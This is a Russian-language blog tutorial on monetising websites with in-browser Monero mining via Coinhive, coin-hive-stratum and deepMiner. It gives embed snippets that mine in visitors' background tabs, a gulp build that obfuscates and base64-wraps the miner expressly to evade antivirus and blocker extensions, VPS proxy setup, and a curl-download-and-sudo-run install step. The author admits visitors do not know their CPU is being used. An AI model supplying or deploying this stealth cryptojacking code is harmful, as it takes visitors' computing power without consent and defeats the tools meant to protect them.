JavaScript веб майнинг от А до Я простыми словами

JavaScript веб майнинг от А до Я простыми словами

В последнее время я все чаще и чаще слышу такие слова как блокчейн, биткоин, майнинг и т.п. Об этом говорят все, поэтому далее я расскажу как можно заработать на своем сайте, занявшись веб майнингом Monero, используя специальные майнинг скрипты

JavaScript майнинг?

Если не вдаваться в подробности и быть максимально кратким, то простыми словами веб майнинг ( браузерный майнинг ) — это новый и элегантный вид монетизации для вашего сайта в отличии от приевшейся всем рекламы. Т.е грубо говоря, вы вставляете на свой сайт какой-то кусок javascript кода (специальные майнинг скрипты), который магическим образом начинает нагружать процессоры приходящих пользователей и превращать последних в пассивных майнеров, добывающих своими мощностями вам монеты, которые успешно идут вам в кошелек. Далее, полученные криптомонеты можно спокойно обменять в обменнике на реальные деньги по хорошему курсу, поиграть с ними на биржах ну или просто копить и ждать когда курс «выстрелит» и обменять на большие деньги ну или остаться ни с чем, в случае если курс просядет и все обвалится.

Таким образом, в месяц на сайте можно заработать пассивно от 50-80$ в зависимости от вашего ресурса, посещаемости, удержания ит.п (это очень важный момент, но о нем позже). Звучит все красиво? Да! Но к сожалению есть нюансы, и их достаточно много. И первый из нюансов — это понимание, т.к нужно хотя бы минимально разбираться как, что и для чего работает, но об этом ниже.

Если вся информация выше, у вас вызвала еще больше вопросов нежели ответов, то я настоятельно советую вам, перед дальнейшим прочтением ознакомиться со всеми аспектами майнинга и вообще с криптовалютным миром в целом.

Общие требования

Перед тем как продолжить чтение и погрузиться в пучину web майнинга, я настоятельно советую вам ознакомиться со списком ниже, который возможно вас отрезвит и оттолкнет от затеи майнить, т.к существует несколько очень «скользких» моментов:

  1. Для извлечения прибыли JavaScript майнер имеет смысл устанавливать, только на «жирные» и раскрученные сайты с посещаемостью хотя бы от 300-400 уников в сутки и хорошим временем удержания пользователей. В противном случае на таком майнинг сайте вы максимально сможете заработать на ежемесячную халявную плитку шоколадки или вообще ничего;
  2. Майнер работает только в современных браузерах (на v8 например и т.п) поддерживающих webassembly/asm технологии;
  3. В свою же очередь, конфликтуя со вторым пунктом выше, известные JS майнеры (сайты с ними) все чаще и активнее блокируются: самими браузерами, поисковыми системами, антивирусами, расширениями и даже пулами! Этот пункт пожалуй самый противоречивый, рискованный и непонятный, о котором я напишу более подробно дальше в статье;
  4. Относительно маленькое сообщество + мало информации относительно всего JS майнинга в целом, поэтому приготовьтесь штудировать огромное количество англоязычных источников в белом и луковичном интернете для поиска ответов;
  5. На момент написания статьи, можно майнить только два типа криптовалютыMonero (XMR) или Electroneum (ETN), что особо не дает возможности развернуться и вы становитесь привязаны к этим двум вариантам.

Вышеперечисленные 5 пункта я выделил как самые важные и базовые, от которых следует отталкиваться и решить — нужно оно все вам или нет. 

Что нужно для начала майнинга

  1. Все примеры из статьи можно запускать на тестовом localhost или непосредственно на боевом хостинге (я буду использовать vps в примерах). Кстати, в своих публикациях я обозревал один быстрый и дешевый VPS хостинг, который вы можете использовать в качестве тестирования, либо используя рейтинг серверов найти подходящий для себя вариант;
  2. Убедитесь, что имеете свежие версии Node.js, npm и т.п, а также заведите кошельки (куда будут приходить монетки) для Monero или Electroneum (подробные руководства по созданию/настройке кошельков вы можете прочитать на сайтах этих криптовалют);
  3. Нормальный браузер — Chrome например (лучше в режиме инкогнито);
  4. Отключите все антивирусные программы и расширения блокирующие рекламу и веб майнеры, такие как:  AdBlock, Adguard Антибаннер, uBlock Origin и др.

Теперь, давайте перейдем к скриптам с помощью которых можно начать зарабатывать на своем сайте.

Coinhive

Довольно молодой ресурс — , появился в октябре 2017 года и через несколько недель уже был заблокирован популярными антивирусами и некоторыми расширениями, по причине того, что js майнер — coinhive .min.js запускается в фоне у пользователя и тот не подозревает, что его ЦП майнит и эксплуатируется сторонним ресурсом.

Типичное оповещение антивируса на майнинг сайтах

Поэтому через несколько недель был введен другой скрипт — authedmine.min.js , который запускается у пользователя в фоне только после его согласия:

Запрос на запуск майнера coinhive

Однако, он также был успешно заблокирован, но уже меньшим количеством антивирусов и расширений (хоть этот скрипт и позиционирует себя как — «A Non-Adblocked Miner», но это не так). Кстати, для того что бы определить, что скрипт майнера успешно работает, просто проверьте нагрузку на ЦП (при открытой вкладке со скриптом). Если нагрузка большая — все в порядке, в противном случае что-то не так. Если скрипт блокируется/не работает, то  вы естественно будете видеть отсутствие нагрузки на ЦП + на вкладке Network  или Console в Google Developer Tools (F12 или ^+Shift+I) будет примерная картина:

Блокировка coinhive скриптов

Плюсы:

  1. Легкая интеграция (подключаем скрипт, добавляем инициализацию);
  2. Широкий функционал (майнер может быть в виде: капчи, ссылки, UI блока, API и др);
  3. Хорошая и подробная документация;
  4. Удобный личный кабинет с детальной статистикой.

Минусы:

  1. Не работает у большинства посетителей. На данный момент обе версии активно блокируются антивирусами, самими браузерами (например Yandex браузер, Opera) и расширениями. Следовательно с таких посетителей доход будет нулевым и с каждым днем смысл использовать coinhive стремится к нулю;
  2. Можно добывать только Monero;
  3. Неадекватный порог вывода средств 0,02 XMR с комиссией или 0,5 XMR без нее (учитывая возрастающую сложность этот порог для начинающих может быть крайне неудобен);
  4. Полная стагнация проекта и нежелание противостоять неадекватным блокировкам и запретам. Например, с начала существования, coinhive активно использовал  ThePirateBay и SafeBrowse расширение, но и они вынуждены были отказаться (даже с их не маленьким трафиком) от coinhive .

Подключение

Тут все довольно просто и банально. Добавляем свой сайт в Settings -> Sites & API Keys, копируем публичный ключ и вставляем его в код инициализации на сайте:

<script>
	var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3});
	    miner.start();
</script>

После этого заходим на сайт, где установлен код и уже через несколько минут в личном кабинете coinhive можно увидеть плавающие графики со скоростью и другой информацией.

Coin hive stratum

Альтернативный вариант, и своего рода глоток свежего воздуха после coinhive, с помощью которого, можно организовать майнинг у себя на сайте разными способами и с достаточно хорошим обходом антивирусов и спец. расширений. Естественно этот скрипт не лишен изъянов, но при его использовании возникают проблемы с подключением к пулам (pools ) т.к последние активно блокируют веб майнеров по причине многочисленных подключений/отключений, делая майнинг еще более рискованным занятием. Поэтому велика вероятность того, что при использовании какого-либо пула вас могут просто забанить (например это произошло с пулом pool.supportxmr.com:3333, который просто отключили для веб майнеров по причине огромного нашествия от Coin hive stratum ) и никаких денег вы уже не получите. 

Плюсы:

  1. Достаточно простая и многообразная интеграция (сложности могут лишь возникнуть при поднятии прокси на vps);
  2. Хорошая документация;
  3. Можно добывать Monero и Electroneum;
  4. Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
  5. Не так сильно блокируется как coinhive, а при должной обфускации кода и переносе на свой vps можно добиться почти полноценной работы без блокировок со стороны антивирусов и расширений.
  6. Инициализация и параметры майнера такие же как и на coinhive только вместо new CoinHive.Anonymous используется CH.Anonymous

Минусы:

  1. Сложности/блокировки на пулах + не каждый пул может подойти;
  2. Все еще обнаруживается отдельными антивирусами и расширениями;
  3. Скрипт достаточно сырой и есть некоторые баги (разрывы подключений, неадекватная работа в firefox).

Подключение

Ниже, я рассмотрю два типа подключения, которые на мой взгляд являются самыми интересными + добавлю кое-что от себя:

Подключение через now.sh/Heroku + pool

Весь процесс описан у автора, но имеет ряд недостатков:

  1. Явно указанные now.sh/Heroku блокируются некоторыми расширениями;
  2. src подключения очень большой и некрасивый ;
  3. Скрипт подключается из github форка;
  4. В консоли выводится информация, которую посетителям лучше не видеть:
Нежелательная информация при использовании coin hive stratum

Правильный порядок действий:

  1. Регистрируемся на now.sh -> Create a new token here -> Подтверждаем email -> Создаем токен:
    Этап регистрации на Now.sh (1)

    Копируем ключ:

    Этап регистрации на Now.sh (2)

    Разворачиваем:

    Этап регистрации на Now.sh (3)

    Получаем адрес wss:

    Этап регистрации на Now.sh (4)

  2. Делаем fork репозитория и обязательно переименовываем репо в my-proxy после переходим по адресу https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/m.js;
  3. Копируем base64 код в atob функции и на этом сайте (decode вкладка) расшифровываем его и получившийся js копируем в любой редактор;
  4.  Находим ~~184 строку и меняем var libUrl = null; на var libUrl = 'https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/'; ;
  5. Находим ~~ 193 строку и меняем const proxyUrl = decodeURIComponent(scriptTag[0x0][_0x989d("0x6")]["split"](_0x989d("0xa"))[0x1]); на  const proxyUrl = 'URL из первого шага + пул = wss://coin-hive-stratum-1488228.now.sh?pool=pool.somepool.com:3333';
  6. Код между 184 — 193 линией удаляем + console.log. В итоге все должно выглядеть так (на 5 шаге приведен пример несуществующего бассейна, поэтому замените его на любой другой. ):
    Измененный m.js файл из github форка
  7. Теперь давайте сохраним файл в папке, откроем консольку, введем npm init и немного автоматизируем это дело на будущее;
  8. В сгенерированный package.json добавляем/изменяем следующий код и после выполняем npm install:
    "devDependencies": {
    "babel-preset-env": "^1.6.1",
    "gulp": "^3.9.1",
    "gulp-babel": "^7.0.0",
    "gulp-extname": "^0.2.2",
    "gulp-load-plugins": "^1.5.0",
    "gulp-rename": "^1.2.2",
    "gulp-uglify": "^3.0.0",
    "babel-core": "^6.26.0",
    "base-64": "^0.1.0",
    "event-stream": "^3.3.4",
    "fs": "0.0.1-security",
    "gulp-javascript-obfuscator": "^1.1.4"
    },
  9. Для сборки я буду использовать gulp, поэтому создаем gulpfile.js и добавляем таск build :
    var $        = require('gulp-load-plugins')();
    var gulp     = require('gulp');
    var rimraf   = require('rimraf');
    var es = require('event-stream');
    var fs = require('fs');
    var base64 = require('base-64');
    var babel = require('gulp-babel');
    /*-----------------------------------------------*/
    gulp.task('build', function(cb) {
        es.concat(
            gulp.src('sourcefile.js')
    				 .pipe(babel({
    		            presets: ['env']
    		        }))
    			   .pipe($.uglify())
    		    	.pipe($.javascriptObfuscator({
    		    		compact:true
    		    	}))
    		    	.pipe($.rename('destfile.min.js')) 
    		    	.pipe(gulp.dest('../'))
        ).on('end', function(){
        	
        	var fileContent = fs.readFileSync('destfile.min.js', "utf8"); 
    		var encoded = base64.encode(fileContent);
    		fs.writeFile('destfile.min.js', 'new Function(atob("'+encoded+'"))()', cb);
        });
    
    });
  10. Теперь осталось выполнить gulp build и сгенерированный + обфусцированный + зашифрованный файл закинуть на хостинг и подключить его следующим образом:
    <script src="destfile.min.js"></script>
    <script>
     
    if(typeof CH != "undefined") { 
    	var miner = CH.Anonymous('ТУТ УКАЗЫВАЕМ адрес вашего Monero кошелька', {throttle: 0.3});
    	miner.start();
    }
    
    </script> 
  11. Теперь мы имеем красивое подключение + автоматизированный сборщик для «жонглирования» пулами при необходимости и что самое главное, теперь мы скрыты от некоторых антивирусов, которые не видят «майнинг» следов.

Теперь после всех шагов, заходим на сайт, где установлен код и уже через несколько минут на пуле, который вы указали на 2 шаге начнет отображаться статистика по добыче. 

Подключение через ваш vps proxy 

Весь процесс описан у автора, но хочу выделить несколько пунктов:

  1. В качестве vps не обязательно использовать DigitalOcean, а можно например Vultr — цены ниже, а функционал такой же + для старта как раз подойдет;
  2. Перед запуском прокси, убедитесь, что прослушиваемый порт proxy.listen(443);  открыт/свободен, а лучше переопределить текущий 443 порт на какой-нибудь 7777 , во избежание проблем с Apache (если таковой имеется естественно).

deepMiner

На момент написания статьи —  самая продвинутая и перспективная разработка по сравнению с двумя предыдущими. По принципу работы напоминает гибрид coinive и coin hive statum.

Плюсы:

  1. Относительно простая инициализация;
  2. Можно добывать Monero и Electroneum;
  3. Есть пул от разработчика(pool.elitexmr.com:8080), который 100% не даст бан, но имеет малую сложность;
  4. Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
  5. На момент написания статьи никак не блокируется и не обнаруживается антивирусами/расширениями;
  6. Инициализация и параметры майнера такие же как и на coinhive или coin hive statum.

Минусы:

  1. Сложности/блокировки на пулах + не каждый пул может подойти;
  2. Нет хорошей документации.

Чтобы подключиться и начать браузерный майнинг, нужно иметь свой настроенный/готовый vps (ssl+node и т.п) . Кстати, вы можете прочитать подробную статью о том как поднять  SSL за пять минут по этой ссылке, ну или использовать другие проверенные источники.  Теперь выполняем последовательно команды и собираем конфигурацию в config.json файл:

curl https://raw.githubusercontent.com/deepwn/deepMiner/master/install.sh > install.sh
sudo sh install.sh

В процессе установки можете просто везде жать Enter, т.к все равно потом этот файл (config.json) вы сможете настроить по своему вкусу. Итак, после установки выполните следующую команду — nano /srv/deepMiner/config.json и заполните все необходимые поля :

  • lhost, domain — ваш домен,ваш домен:порт;
  • pool— ваш пул ;
  • addr — кошелек Monero (на некоторых пулах в конце кошелька вводиться доп.информация: ваш email, сложность, id воркера и т.п );
  • pass — пароль, который иногда требуют пулы (по умолчанию всегда x)
  • key, cert — путь к ключам let’s encrypt
Конфигурационный файл deepMiner

Сохраните файл и запустите в терминале команду forever start server.js и в браузере откройте страницу https://myvps.com:7777/demo.html:

Результат работы deepMiner

Если вы увидели эту страницу, то все в порядке и теперь можете смело добавлять на своих сайтах следующий код, который будет автоматически начинать майнить в фоновом режиме:

<script src="https://myvps.com:7777/deepMiner.min.js"></script>
<script>
if(typeof deepMiner !== 'undefined') {
        var miner = new deepMiner.Anonymous('deepMiner_test', { autoThreads: true });
        miner.start();
}
</script>

Итог

В этой статье, я лишь поверхностно рассмотрел некоторые скрипты для добычи криптовалют, возможно есть более лучшие и продвинутые варианты, однако на сегодняшний день, как мы видим, все больше и больше скриптов по добыче подвергаются блокировкам и другому прессингу… И это на самом деле очень печально. Однако, я считаю, что за подобной «монетизацией» будущее и революция неизбежна, в ходе которой реклама окончательно должна умереть, либо занять свою минимальную нишу. Ведь подумайте, как было бы здорово, заходить на любые сайты и не видеть там очередную раздражающую рекламу от Азино 777 или начинать просмотр онлайн видео без вставок про Джойказино и т.п, а лишь получать нагружаемый ЦП на какие-нибудь 20-40% при просмотре сайта.

Подписаться на новые статьи